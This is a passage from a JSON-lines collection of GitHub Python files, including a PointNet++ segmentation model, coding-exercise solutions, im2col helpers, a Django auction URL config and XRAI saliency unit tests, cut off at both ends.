self.use_one_hot = use_one_hot\n\n # Sanity check\n num_sa_layers = len(num_centroids)\n num_fp_layers = len(fp_channels)\n assert len(radius) == num_sa_layers\n assert len(num_neighbours) == num_sa_layers\n assert len(sa_channels) == num_sa_layers\n assert num_sa_layers == num_fp_layers\n assert len(num_fp_neighbours) == num_fp_layers\n\n # Set Abstraction Layers\n feature_channels = in_channels - 3\n self.sa_modules = nn.ModuleList()\n for ind in range(num_sa_layers):\n sa_module = PointNetSAModule(in_channels=feature_channels,\n mlp_channels=sa_channels[ind],\n num_centroids=num_centroids[ind],\n radius=radius[ind],\n num_neighbours=num_neighbours[ind],\n use_xyz=use_xyz)\n self.sa_modules.append(sa_module)\n feature_channels = sa_channels[ind][-1]\n\n inter_channels = [in_channels if use_xyz else in_channels - 3]\n if self.use_one_hot:\n inter_channels[0] += num_classes # concat with one-hot\n inter_channels.extend([x[-1] for x in sa_channels])\n\n # Feature Propagation Layers\n self.fp_modules = nn.ModuleList()\n feature_channels = inter_channels[-1]\n for ind in range(num_fp_layers):\n fp_module = PointnetFPModule(in_channels=feature_channels + inter_channels[-2 - ind],\n mlp_channels=fp_channels[ind],\n num_neighbors=num_fp_neighbours[ind])\n self.fp_modules.append(fp_module)\n feature_channels = fp_channels[ind][-1]\n\n # MLP\n self.mlp_seg = SharedMLP(feature_channels, seg_channels, ndim=1, dropout_prob=dropout_prob)\n self.seg_logit = nn.Conv1d(seg_channels[-1], num_seg_classes, 1, bias=True)\n\n self.reset_parameters()\n\n def forward(self, data_batch):\n points = data_batch['points']\n end_points = {}\n\n xyz = points.narrow(1, 0, 3)\n if points.size(1) > 3:\n feature = points.narrow(1, 3, points.size(1) - 3)\n else:\n feature = None\n\n # save intermediate results\n inter_xyz = [xyz]\n inter_feature = [points if self.use_xyz else feature]\n\n if self.use_one_hot:\n # one hot class label\n num_points = points.size(2)\n with torch.no_grad():\n cls_label = data_batch['cls_label']\n one_hot = cls_label.new_zeros(cls_label.size(0), self.num_classes)\n one_hot = one_hot.scatter(1, cls_label.unsqueeze(1), 1) # (batch_size, num_classes)\n one_hot_expand = one_hot.unsqueeze(2).expand(-1, -1, num_points).float()\n inter_feature[0] = torch.cat((inter_feature[0], one_hot_expand), dim=1)\n\n # Set Abstraction Layers\n for sa_module in self.sa_modules:\n xyz, feature = sa_module(xyz, feature)\n inter_xyz.append(xyz)\n inter_feature.append(feature)\n\n # Feature Propagation Layers\n sparse_xyz = xyz\n sparse_feature = feature\n for fp_ind, fp_module in enumerate(self.fp_modules):\n dense_xyz = inter_xyz[-2 - fp_ind]\n dense_feature = inter_feature[-2 - fp_ind]\n fp_feature = fp_module(dense_xyz, sparse_xyz, dense_feature, sparse_feature)\n sparse_xyz = dense_xyz\n sparse_feature = fp_feature\n\n # MLP\n x = self.mlp_seg(sparse_feature)\n seg_logit = self.seg_logit(x)\n\n preds = {\n 'seg_logit': seg_logit,\n }\n preds.update(end_points)\n\n return preds\n\n def reset_parameters(self):\n for sa_module in self.sa_modules:\n sa_module.reset_parameters(xavier_uniform)\n for fp_module in self.fp_modules:\n fp_module.reset_parameters(xavier_uniform)\n self.mlp_seg.reset_parameters(xavier_uniform)\n xavier_uniform(self.seg_logit)\n set_bn(self, momentum=0.01)\n\n\ndef test_PointNet2SSGPartSeg():\n batch_size = 8\n in_channels = 6\n num_points = 2048\n num_classes = 16\n num_seg_classes = 50\n\n points = torch.randn(batch_size, in_channels, num_points)\n points = points.cuda()\n cls_label = torch.randint(num_classes, (batch_size,))\n cls_label = cls_label.cuda()\n\n pn2ssg = PointNet2SSGPartSeg(in_channels, num_classes, num_seg_classes)\n pn2ssg.cuda()\n print(pn2ssg)\n out_dict = pn2ssg({'points': points, 'cls_label': cls_label})\n for k, v in out_dict.items():\n print('PointNet2SSG:', k, v.shape)\n","repo_name":"tiangeluo/Learning-to-Group","sub_path":"shaper/models/pointnet2/pn2_ssg_part_seg.py","file_name":"pn2_ssg_part_seg.py","file_ext":"py","file_size_in_byte":7483,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"37"} +{"seq_id":"42215876342","text":"# Complete the countingValleys function below.\ndef countingValleys(n, s):\n \n tuple_list = []\n temp = 0\n\n for i in range (0,len(s)):\n if s[i] == 'U':\n temp+=1\n tuple_list.append((i, temp))\n else:\n temp-=1\n tuple_list.append((i, temp))\n\n valley = 0\n last_step = 0\n\n for x, y in tuple_list:\n if y != 0:\n last_step = y\n if last_step < 0 and y == 0:\n valley+=1\n \n return valley","repo_name":"tiborboglar/hacker_rank","sub_path":"Counting Valleys.py","file_name":"Counting Valleys.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38288250319","text":"import numpy as np\nimport math\n\ndef determine_padding(filter_shape, padding_type='same'):\n if padding_type == 'valid':\n return (0, 0), (0, 0)\n elif padding_type == 'same':\n filter_height, filter_width = filter_shape\n\n # Derived from:\n # output_height = (height + pad_h - filter_height) / stride + 1\n # In this case output_height = height and stride = 1. This gives the\n # expression for the padding below.\n pad_h1 = int(math.floor((filter_height - 1)/2))\n pad_h2 = int(math.ceil((filter_height - 1)/2))\n pad_w1 = int(math.floor((filter_width - 1)/2))\n pad_w2 = int(math.ceil((filter_width - 1)/2))\n\n return (pad_h1, pad_h2), (pad_w1, pad_w2)\n print(\"invalid padding type %s \" % padding_type)\n\n# Reference: CS231n Stanford\ndef get_im2col_indices(images_shape, filter_shape, padding_size, stride=1):\n # First figure out what the size of the output should be\n batch_size, channels, height, width = images_shape\n filter_height, filter_width = filter_shape\n pad_h, pad_w = padding_size\n out_height = int((height + np.sum(pad_h) - filter_height) / stride + 1)\n out_width = int((width + np.sum(pad_w) - filter_width) / stride + 1)\n\n i0 = np.repeat(np.arange(filter_height), filter_width)\n i0 = np.tile(i0, channels)\n i1 = stride * np.repeat(np.arange(out_height), out_width)\n j0 = np.tile(np.arange(filter_width), filter_height * channels)\n j1 = stride * np.tile(np.arange(out_width), out_height)\n i = i0.reshape(-1, 1) + i1.reshape(1, -1)\n j = j0.reshape(-1, 1) + j1.reshape(1, -1)\n\n k = np.repeat(np.arange(channels), filter_height * filter_width).reshape(-1, 1)\n\n return (k, i, j)\n\n\n# Method which turns the column shaped input to image shape.\n# Used during the backward pass.\n# Reference: CS231n Stanford\ndef column_to_image(cols, images_shape, filter_shape, stride, padding='same'):\n batch_size, channels, height, width = images_shape\n pad_h, pad_w = determine_padding(filter_shape, padding)\n height_padded = height + np.sum(pad_h)\n width_padded = width + np.sum(pad_w)\n images_padded = np.empty((batch_size, channels, height_padded, width_padded))\n\n # Calculate the indices where the dot products are applied between weights\n # and the image\n k, i, j = get_im2col_indices(images_shape, filter_shape, (pad_h, pad_w), stride)\n\n cols = cols.reshape(channels * np.prod(filter_shape), -1, batch_size)\n cols = cols.transpose(2, 0, 1)\n # Add column content to the images at the indices\n np.add.at(images_padded, (slice(None), k, i, j), cols)\n\n # Return image without padding\n return images_padded[:, :, pad_h[0]:height+pad_h[0], pad_w[0]:width+pad_w[0]]\n\n\n\r# Method which turns the image shaped input to column shape.\n# Used during the forward pass.\n# Reference: CS231n Stanford\ndef image_to_column(images, filter_shape, stride, padding='same'):\n filter_height, filter_width = filter_shape\n\n pad_h, pad_w = determine_padding(filter_shape, padding)\n\n # Add padding to the image\n images_padded = np.pad(images, ((0, 0), (0, 0), pad_h, pad_w), mode='constant')\n\n # Calculate the indices where the dot products are to be applied between weights\n # and the image\n k, i, j = get_im2col_indices(images.shape, filter_shape, (pad_h, pad_w), stride)\n\n # Get content from image at those indices\n cols = images_padded[:, k, i, j]\n channels = images.shape[1]\n # Reshape content into column shape\n cols = cols.transpose(1, 2, 0).reshape(filter_height * filter_width * channels, -1)\n return cols\n\n\n","repo_name":"reasonsolo/HTML","sub_path":"img_proc.py","file_name":"img_proc.py","file_ext":"py","file_size_in_byte":3587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41364523555","text":"from pathlib import Path\nfrom xml.etree import cElementTree as ET\nfrom xml.dom import minidom\n\nfrom track_generator.track import (\n Segment,\n Track,\n Start,\n Straight,\n Turn,\n Crosswalk,\n Intersection,\n Gap,\n ParkingArea,\n TrafficIsland,\n Clothoid,\n)\n\n\nclass GroundTruthGenerator:\n def __init__(self, track_name: str, output_directory: Path):\n self.track_name = track_name\n self.output_directory = output_directory\n self.root = ET.Element(\"GroundTruth\", {\"version\": \"0.0.1\"})\n self.points = ET.SubElement(self.root, \"Points\")\n\n def generate_ground_truth(self, track: Track):\n for segment in track.segments:\n self.generate_segment(segment)\n with open(self.output_directory / \"ground_truth.xml\", \"w\") as f:\n f.write(minidom.parseString(ET.tostring(self.root, \"utf-8\")).toprettyxml(indent=\"\\t\"))\n\n def generate_segment(self, segment: Segment):\n if isinstance(segment, Start):\n pass\n elif isinstance(segment, (Straight, ParkingArea, Gap, Crosswalk)):\n self.generate_straight(segment)\n elif isinstance(segment, Turn):\n self.generate_turn(segment)\n elif isinstance(segment, Intersection):\n self.generate_intersection(segment)\n elif isinstance(segment, TrafficIsland):\n self.generate_traffic_island(segment)\n elif isinstance(segment, Clothoid):\n self.generate_clothoid(segment)\n else:\n raise RuntimeError(f\"Error in GroundTruthGenerator: {segment} not found\")\n\n def generate_straight(self, segment: Straight):\n for i, _ in enumerate(segment.center_line_polygon):\n self.write_points(\n [segment.left_line_polygon[i].x_w, segment.left_line_polygon[i].y_w],\n [segment.right_line_polygon[i].x_w, segment.right_line_polygon[i].y_w],\n )\n\n def generate_turn(self, segment: Turn):\n assert segment.start_point_left\n assert segment.start_point_right\n self.write_points(\n [segment.start_point_left.x_w, segment.start_point_left.y_w],\n [segment.start_point_right.x_w, segment.start_point_right.y_w],\n )\n\n def generate_intersection(self, segment: Intersection):\n for i, _ in enumerate(segment.corner_line_polygons[0]):\n self.write_points(\n [segment.corner_line_polygons[0][i].x_w, segment.corner_line_polygons[0][i].y_w],\n [segment.corner_line_polygons[1][i].x_w, segment.corner_line_polygons[1][i].y_w],\n )\n for i, _ in enumerate(segment.corner_line_polygons[0]):\n self.write_points(\n [segment.corner_line_polygons[2][i].x_w, segment.corner_line_polygons[2][i].y_w],\n [segment.corner_line_polygons[3][i].x_w, segment.corner_line_polygons[3][i].y_w],\n )\n\n def generate_traffic_island(self, segment: TrafficIsland):\n for i, _ in enumerate(segment.line_polygons[2]):\n self.write_points(\n [segment.line_polygons[2][i].x_w, segment.line_polygons[2][i].y_w],\n [segment.line_polygons[3][i].x_w, segment.line_polygons[3][i].y_w],\n )\n\n def generate_clothoid(self, segment: Clothoid):\n for i, _ in enumerate(segment.lines[0]):\n self.write_points(\n [segment.lines[1][i].x_w, segment.lines[1][i].y_w], [segment.lines[2][i].x_w, segment.lines[2][i].y_w]\n )\n\n def write_points(self, point_1: list, point_2: list):\n ET.SubElement(\n self.points,\n \"Point\",\n {\n \"x_1\": str(point_1[0]),\n \"y_1\": str(point_1[1]),\n \"x_2\": str(point_2[0]),\n \"y_2\": str(point_2[1]),\n },\n )\n","repo_name":"twyleg/track_generator","sub_path":"track_generator/ground_truth_generator.py","file_name":"ground_truth_generator.py","file_ext":"py","file_size_in_byte":3828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5404851106","text":"# 1st Exercise\n# ------------\n\n# the function takes a list of pokemons\n# the list is compused by N items (i.e., pokemons)\nimport random\n\n\ndef pokemon_champion(pokemon_list):\n len_list = len(pokemon_list)\n # Base case 1: if the list has only 1 item\n # -> return just that item\n if len_list == 1:\n return [pokemon_list[0]]\n # Base case 2: if the list has 2 items\n # -> match the 2 items and return the winner\n elif len_list == 2:\n # attacking points of the element on the left\n p_attack = pokemon_list[0][1]\n # defending points of the element on the right\n p_defend = pokemon_list[1][2]\n # match the 2 pokemons and return the winner\n if p_attack > p_defend:\n return [pokemon_list[0]]\n else:\n return [pokemon_list[1]]\n\n # in this case the list is composed by N items\n # divide the list in two parts, and call the function recursevly\n else:\n # the middle position\n mid = len_list // 2\n return pokemon_champion(\n # the first part of the list\n pokemon_champion(pokemon_list[:mid])\n +\n # the second part of the list\n pokemon_champion(pokemon_list[mid:])\n )\n\n\n# a tournament of 8 pokemons\npokemon_tournament = [\n (\"Poliwag\", 10, 5), (\"Charmander\", 15, 2),\n (\"Abra\", 8, 7), (\"Pidgey\", 4, 5),\n (\"Goldeen\", 6, 8), (\"Bulbasaur\", 12, 10),\n (\"Charmeleon\", 18, 8), (\"Psyduck\", 3, 4)]\n\n# Expected result is ->\n# ROUND 1:\n# (\"Poliwag\",10,5)vs(\"Charmander\",15,2) => (\"Poliwag\",10,5)\n# (\"Abra\",8,7)vs(\"Pidgey\",4,5) => (\"Abra\",8,7)\n# (\"Goldeen\",6,8)vs(\"Bulbasaur\",12,10) => (\"Bulbasaur\",12,10)\n# (\"Charmeleon\",18,8)vs(\"Psyduck\",3,4) => (\"Charmeleon\",18,8)\n#\n# ROUND 2:\n# (\"Poliwag\",10,5)vs(\"Abra\",8,7) => (\"Poliwag\",10,5)\n# (\"Bulbasaur\",12,10)vs(\"Charmeleon\",18,8) => (\"Bulbasaur\",12,10)\n#\n# THE FINAL:\n# (\"Poliwag\",10,5)vs(\"Bulbasaur\",12,10) => (\"Bulbasaur\",12,10)\n#\n# THE WINNER:\n# (\"Bulbasaur\",12,10)\n\n# Call the function and print the winner\nwinner = pokemon_champion(pokemon_tournament)\nprint(winner)\n","repo_name":"comp-think/2021-2022","sub_path":"docs/laboratory/5/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"37"} +{"seq_id":"36207177548","text":"#!/usr/bin/python \n# -*- coding=utf8 -*-\n# Created by carrot on 2017/8/26.\n\n\n\"\"\"\n题目:一球从100米高度自由落下,每次落地后反跳回原高度的一半;再落下,求它在第10次落地时,共经过多少米?第10次反弹多高?\n程序分析:无\n\"\"\"\n\ndef jumpHeight(start, num):\n height= start\n datas = {0:height}\n for idx in range(1, num +1):\n height = height / 2\n datas[idx] = height\n datas[0] += 2*datas[idx]\n\n return datas\n\ndef main():\n start = 100\n num= 10\n result = jumpHeight(start,num)\n print (result)\n print(\"第10次着地%f\",result[0] - 2* result[num])\n print(\"第10次反弹%f\",result[num])\n\n\n\nif __name__ == '__main__':\n main()","repo_name":"116pythonZS/YiBaiExample","sub_path":"020.py","file_name":"020.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35672685370","text":"class Solution(object):\n def trap(self, height):\n \"\"\"\n :type height: List[int]\n :rtype: int\n \"\"\"\n \n res = 0\n N = len(height)\n\n leftmost = [0] * N\n rightmost = [0] * N\n for i in range(N):\n if i == 0:\n leftmost[i] = max(0,height[i])\n if i > 0:\n leftmost[i] = max(leftmost[i - 1],height[i])\n for j in range(N - 1, - 1, -1):\n if j == N - 1:\n rightmost[j] = max(rightmost[j],height[j])\n if j < N - 1:\n rightmost[j] = max(height[j],rightmost[j + 1])\n \n for i in range(1,N - 1):\n if height[i] < leftmost[i] and height[i] < rightmost[i]:\n res += min(leftmost[i],rightmost[i]) - height[i]\n \n return res\n \nprint(Solution().trap([0,1,0,2,1,0,1,3,2,1,2,1]))","repo_name":"DemonZhou/leetcode","sub_path":"trap.py","file_name":"trap.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42718271442","text":"from collections import defaultdict\nimport re\nimport copy\n\ndef main(filename):\n #just keep and compare charaters\n grid = open(filename, \"r\").read().splitlines()\n nt = 0\n bsc = 0\n for y in range(len(grid)):\n for x in range(len(grid[0])):\n t = grid[y][x]\n if all(grid[r][x] < t for r in range(y)) or \\\n all(grid[r][x] < t for r in range(y+1, len(grid))) or \\\n all(grid[y][c] < t for c in range(x)) or \\\n all(grid[y][c] < t for c in range(x+1, len(grid[0]))):\n nt+=1\n dirs = [[grid[r][x] >= t for r in range(y-1,-1,-1)],\\\n [grid[r][x] >= t for r in range(y+1, len(grid))],\\\n [grid[y][c] >= t for c in range(x-1,-1,-1)],\\\n [grid[y][c] >= t for c in range(x+1, len(grid[0]))]]\n\n sc = 1;\n for d in dirs:\n if True in d:\n sc *= d.index(True) + 1\n else:\n if len(d) > 0:\n sc *= len(d)\n bsc = max(bsc, sc)\n\n print(\"p1: \" + str(nt))\n print(\"p2: \" + str(bsc))\n\n\nif __name__ == \"__main__\":\n main(\"input_t1\")\n main(\"input\")\n","repo_name":"cosmicnotepin/aoc2022","sub_path":"day_8/1/p.py","file_name":"p.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9890974797","text":"from django.urls import path\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nfrom .import views\nfrom .views import *\n \n\nurlpatterns = [\n path('', index.as_view(), name=\"index\"),\n path(\"login\", views.login_view, name=\"login\"),\n path(\"logout\", views.logout_view, name=\"logout\"),\n path(\"register\", views.register, name=\"register\"),\n path(\"new/\", newListing.as_view(), name=\"new_listing\"),\n path(\"auctions/edit/<int:pk>\", edit.as_view(), name=\"Edit_list\"),\n path(\"auctions/delete/<int:pk>\", delete.as_view(), name=\"Delete_list\"),\n path(\"auctions/<int:pk>/comment\", CommentView.as_view(), name=\"add_comment\"),\n path(\"category/<str:cats>/>\", category, name=\"Category\"),\n path(\"auctions/watchlist.html\", views.watchlist, name=\"watchlist\"),\n path(\"auctions/bid/<int:listing_id>\", views.detail, name=\"DetailView\"),\n path(\"auctions/close/<str:listing>\", views.close, name=\"close\"),\n\n\n \n]+ static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"Amer-Mosally/E-commerce","sub_path":"auctions/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33293173246","text":"from musurgia.random import Random\n\n\nclass ReadAList(object):\n ##mode in forwards, backwards, zickzack, random\n def __init__(self, pool=None, mode='random', seed=None):\n self._pool = None\n self._mode = None\n self._random = None\n self._index = None\n self._direction = 1\n self._next_index = None\n\n self.pool = pool\n self.mode = mode\n self.seed = seed\n\n @property\n def pool(self):\n return self._pool\n\n @pool.setter\n def pool(self, values):\n if values is not None:\n try:\n self._pool = list(values)\n except:\n self._pool = [values]\n self.random.pool = self.pool\n\n @property\n def mode(self):\n return self._mode\n\n @mode.setter\n def mode(self, value):\n if value not in ['forwards', 'backwards', 'zickzack', 'random']:\n err = 'mode can only be forwards, backwards, zickzack or random'\n raise ValueError(err)\n self._mode = value\n\n @property\n def random(self):\n if self._random is None:\n self._random = Random()\n return self._random\n\n @property\n def seed(self):\n return self.random.seed\n\n @seed.setter\n def seed(self, value):\n self.random.seed = value\n\n @property\n def next_index(self):\n err = 'next_index can only be set'\n raise AttributeError(err)\n\n @next_index.setter\n def next_index(self, value):\n self._next_index = value\n\n def _set_next_index(self):\n\n if self.mode == 'forwards':\n self._direction = 1\n\n elif self.mode == 'backwards':\n self._direction = -1\n\n elif self.mode == 'zickzack':\n pass\n\n self._index += self._direction\n\n def _check_index(self):\n if self.mode == 'forwards':\n if self._index >= len(self.pool):\n self._index = 0\n\n elif self.mode == 'backwards':\n if self._index >= len(self.pool):\n self._index = len(self.pool) - 1\n elif self._index < 0:\n self._index = len(self.pool) - 1\n\n elif self.mode == 'zickzack':\n if self._index == len(self.pool) - 1:\n self._direction = -1\n\n elif self._index > len(self.pool) - 1:\n self._index = len(self.pool) - 1\n self._direction = -1\n\n elif self._index == 0:\n self._direction = 1\n\n elif self._index < 0:\n self._index = 1\n self._direction = 1\n\n def next(self):\n if self.pool is None:\n err = 'pool can not be None'\n raise AttributeError(err)\n\n if self.mode != 'random':\n # print 'read_a_list.next(): self.mode=',self.mode\n # print 'read_a_list.next(): self._next_index=',self._next_index\n\n if self._next_index is None and self._index is None:\n if self.mode == 'backwards':\n self._next_index = len(self.pool) - 1\n else:\n self._next_index = 0\n\n if self._next_index is None:\n self._set_next_index()\n else:\n self._index = self._next_index\n self._next_index = None\n\n self._check_index()\n # print 'read_a_list.next(): self._index after check=',self._index\n # print 'read_a_list.next(): self.pool', self.pool\n return self.pool[self._index]\n\n else:\n return self.random.next()\n","repo_name":"alexgorji/musurgia","sub_path":"musurgia/readalist.py","file_name":"readalist.py","file_ext":"py","file_size_in_byte":3577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13088744738","text":"import matplotlib.pyplot as plt\n\nfrom emas_plotter.plotters.base import BasePlotter\n\n\nclass BestFitnessPlotter(BasePlotter):\n\n def plot(self, data_series):\n for series, data_points in data_series.iteritems():\n x, y = data_points\n plt.plot(x, y, label=series)\n\n plt.title('EMAS - Best fitness')\n plt.xlabel('Time [s]')\n plt.ylabel('Best fitness')\n # plt.axis([0, 85, -1000, 0])\n # plt.yscale('symlog', linthreshy=0.01)\n plt.grid(True)\n plt.legend(loc='lower right', title='Nodes count')\n plt.show()\n","repo_name":"erlang-mas/emas-plotter","sub_path":"emas_plotter/plotters/best_fitness.py","file_name":"best_fitness.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22501323574","text":"import unittest\nimport unittest.mock as mock\n\nimport numpy as np\nimport skimage.draw as sk_draw\nfrom . import xrai\nfrom .xrai import XRAI\nfrom .xrai import XRAIParameters\n\nIMAGE_SIZE = 299\n\n\nclass XraiTest(unittest.TestCase):\n \"\"\"To run: \"python -m saliency.core.xrai_test\" from the top-level directory.\"\"\"\n\n def setUp(self):\n super(XraiTest, self).setUp()\n def call_model_function():\n return\n # Mock IntegratedGradients.\n self.patcher_ig = mock.patch(__name__ + '.xrai.IntegratedGradients')\n self.mock_ig = self.patcher_ig.start()\n self.input_image = np.random.rand(IMAGE_SIZE, IMAGE_SIZE, 3) * 0.3 + 0.5\n self.ig_bl_1_attr = np.random.rand(IMAGE_SIZE, IMAGE_SIZE, 3) - 0.4\n self.ig_bl_2_attr = np.random.rand(IMAGE_SIZE, IMAGE_SIZE, 3) - 0.4\n self.mock_ig_instance = mock.Mock()\n self.mock_ig_instance.GetMask.side_effect = [self.ig_bl_1_attr,\n self.ig_bl_2_attr,\n self.ig_bl_1_attr,\n self.ig_bl_2_attr]\n self.mock_ig.return_value = self.mock_ig_instance\n\n # IG attribution that XRAI should calculate internally.\n self.ig_mask = np.asarray([self.ig_bl_1_attr, self.ig_bl_2_attr]).mean(\n axis=0)\n # A mocked XRAI object that uses neither the graph, session, x or y values.\n self.xrai = XRAI()\n self.call_model_function = call_model_function\n\n def tearDown(self):\n super(XraiTest, self).tearDown()\n self.patcher_ig.stop()\n\n def testXraiGetMaskFullFlat(self):\n # Calculate XRAI attribution using GetMaskWithDetails(...) method.\n xrai_params = XRAIParameters(\n return_xrai_segments=True,\n flatten_xrai_segments=True,\n algorithm='full',\n area_threshold=1.0,\n return_ig_attributions=True)\n xrai_out = self.xrai.GetMaskWithDetails(\n x_value=self.input_image,\n call_model_function=self.call_model_function,\n extra_parameters=xrai_params)\n\n # Verify the result.\n self._assert_xrai_correctness(xrai_out, is_flatten_segments=True)\n\n # Calculate XRAI attribution using GetMask(...) method.\n heatmap = self.xrai.GetMask(x_value=self.input_image,\n call_model_function=self.call_model_function,\n extra_parameters=xrai_params)\n\n # Verify that the heatmaps returned by GetMaskWithDetails(...) and\n # GetMaskWithDetails(...) are the same.\n self.assertTrue(np.array_equal(xrai_out.attribution_mask, heatmap))\n\n def testXraiGetMaskFastFlat(self):\n # Calculate XRAI attribution using GetMaskWithDetails(...) method.\n xrai_params = XRAIParameters(\n return_xrai_segments=True,\n flatten_xrai_segments=True,\n algorithm='fast',\n return_ig_attributions=True)\n xrai_out = self.xrai.GetMaskWithDetails(\n x_value=self.input_image,\n call_model_function=self.call_model_function,\n extra_parameters=xrai_params)\n\n # Verify the result.\n self._assert_xrai_correctness(xrai_out, is_flatten_segments=True)\n\n # Calculate XRAI attribution using GetMask(...) method.\n heatmap = self.xrai.GetMask(x_value=self.input_image,\n call_model_function=self.call_model_function,\n extra_parameters=xrai_params)\n\n # Verify that the heatmaps returned by GetMaskWithDetails(...) and\n # GetMaskWithDetails(...) are the same.\n self.assertTrue(np.array_equal(xrai_out.attribution_mask, heatmap))\n\n def testXraiGetMaskFullNonFlat(self):\n # Calculate XRAI attribution using GetMaskWithDetails(...) method.\n xrai_params = XRAIParameters(\n return_xrai_segments=True,\n flatten_xrai_segments=False,\n area_threshold=1.0,\n algorithm='full',\n return_ig_attributions=True)\n xrai_out = self.xrai.GetMaskWithDetails(\n x_value=self.input_image,\n call_model_function=self.call_model_function,\n extra_parameters=xrai_params)\n\n # Verify the result.\n self._assert_xrai_correctness(xrai_out, is_flatten_segments=False)\n\n # Calculate XRAI attribution using GetMask(...) method.\n heatmap = self.xrai.GetMask(x_value=self.input_image,\n call_model_function=self.call_model_function,\n extra_parameters=xrai_params)\n\n # Verify that the heatmaps returned by GetMaskWithDetails(...) and\n # GetMaskWithDetails(...) are the same.\n self.assertTrue(np.array_equal(xrai_out.attribution_mask, heatmap))\n\n def testXraiGetMaskFastNonFlat(self):\n # Calculate XRAI attribution using GetMaskWithDetails(...) method.\n xrai_params = XRAIParameters(\n return_xrai_segments=True,\n flatten_xrai_segments=False,\n algorithm='fast',\n return_ig_attributions=True)\n xrai_out = self.xrai.GetMaskWithDetails(\n x_value=self.input_image,\n call_model_function=self.call_model_function,\n extra_parameters=xrai_params)\n # Verify the result.\n self._assert_xrai_correctness(xrai_out, is_flatten_segments=False)\n\n # Calculate XRAI attribution using GetMask(...) method.\n heatmap = self.xrai.GetMask(x_value=self.input_image,\n call_model_function=self.call_model_function,\n extra_parameters=xrai_params)\n\n # Verify that the heatmaps returned by GetMaskWithDetails(...) and\n # GetMaskWithDetails(...) are the same.\n self.assertTrue(np.array_equal(xrai_out.attribution_mask, heatmap))\n\n def testCustomSegments(self):\n # Create the first segment.\n rec_1 = sk_draw.rectangle(start=(10, 10), end=(30, 30),\n shape=(IMAGE_SIZE, IMAGE_SIZE))\n seg_1 = np.zeros(shape=(IMAGE_SIZE, IMAGE_SIZE), dtype=bool)\n seg_1[tuple(rec_1)] = True\n\n # Create the second segment.\n rec_2 = sk_draw.rectangle(start=(60, 60), end=(100, 100),\n shape=(IMAGE_SIZE, IMAGE_SIZE))\n seg_2 = np.zeros(shape=(IMAGE_SIZE, IMAGE_SIZE), dtype=bool)\n seg_2[tuple(rec_2)] = True\n\n # Calculate the XRAI attribution.\n xrai_params = XRAIParameters(\n return_xrai_segments=True,\n flatten_xrai_segments=False,\n area_threshold=1.0,\n return_ig_attributions=True)\n xrai_out = self.xrai.GetMaskWithDetails(\n x_value=self.input_image,\n call_model_function=self.call_model_function,\n extra_parameters=xrai_params,\n segments=[seg_1, seg_2])\n\n # Verify correctness of the attribution.\n self._assert_xrai_correctness(xrai_out, is_flatten_segments=False)\n\n # Verify that the segments are ordered correctly, i.e. the segment with\n # higher attribution comes first.\n seg1_attr = self.ig_mask[seg_1].max(axis=1).mean()\n seg2_attr = self.ig_mask[seg_2].max(axis=1).mean()\n if seg1_attr >= seg2_attr:\n self.assertTrue(np.array_equal(seg_1, xrai_out.segments[0]),\n msg='The segments might be ordered incorrectly.')\n else:\n self.assertTrue(np.array_equal(seg_2, xrai_out.segments[0]),\n msg='The segments might be ordered incorrectly.')\n\n # Three segments are expected. The last segment should include all pixels\n # that weren't included in the first two segments.\n self.assertEqual(3, len(xrai_out.segments),\n 'Unexpected the number of returned segments.')\n\n def testBatchSize(self):\n \"\"\"Tests batch_size values are passed to IntegratedGradients.\"\"\"\n # Create baselines and pass them to XRAI.GetMask(...).\n batch_size = 123\n baseline_1 = np.random.rand(IMAGE_SIZE, IMAGE_SIZE, 3)\n baseline_2 = np.random.rand(IMAGE_SIZE, IMAGE_SIZE, 3)\n self.xrai.GetMask(x_value=self.input_image,\n call_model_function=self.call_model_function,\n baselines=[baseline_1, baseline_2],\n batch_size=batch_size)\n\n # Verify that the XRAI object called Integrated Gradients with the baselines\n # that were passed to xrai.GetMask(...).\n calls = self.mock_ig_instance.method_calls\n self.assertEqual(2, len(calls),\n 'There should be only two calls to IG Getmask()')\n self.assertTrue(np.array_equal(batch_size, calls[0][2]['batch_size']),\n msg='IG was called with incorrect batch size.')\n self.assertTrue(np.array_equal(batch_size, calls[1][2]['batch_size']),\n msg='IG was called with incorrect batch size.')\n\n def testBaselines(self):\n \"\"\"Tests arbitrary baseline values can be used for calculating attributions.\"\"\"\n # Create baselines and pass them to XRAI.GetMask(...).\n baseline_1 = np.random.rand(IMAGE_SIZE, IMAGE_SIZE, 3)\n baseline_2 = np.random.rand(IMAGE_SIZE, IMAGE_SIZE, 3)\n self.xrai.GetMask(x_value=self.input_image,\n call_model_function=self.call_model_function,\n baselines=[baseline_1, baseline_2])\n\n # Verify that the XRAI object called Integrated Gradients with the baselines\n # that were passed to xrai.GetMask(...).\n calls = self.mock_ig_instance.method_calls\n self.assertEqual(2, len(calls),\n 'There should be only two calls to IG Getmask()')\n self.assertTrue(np.array_equal(baseline_1, calls[0][2]['x_baseline']),\n msg='IG was called with incorrect baseline.')\n self.assertTrue(np.array_equal(baseline_2, calls[1][2]['x_baseline']),\n msg='IG was called with incorrect baseline.')\n\n def 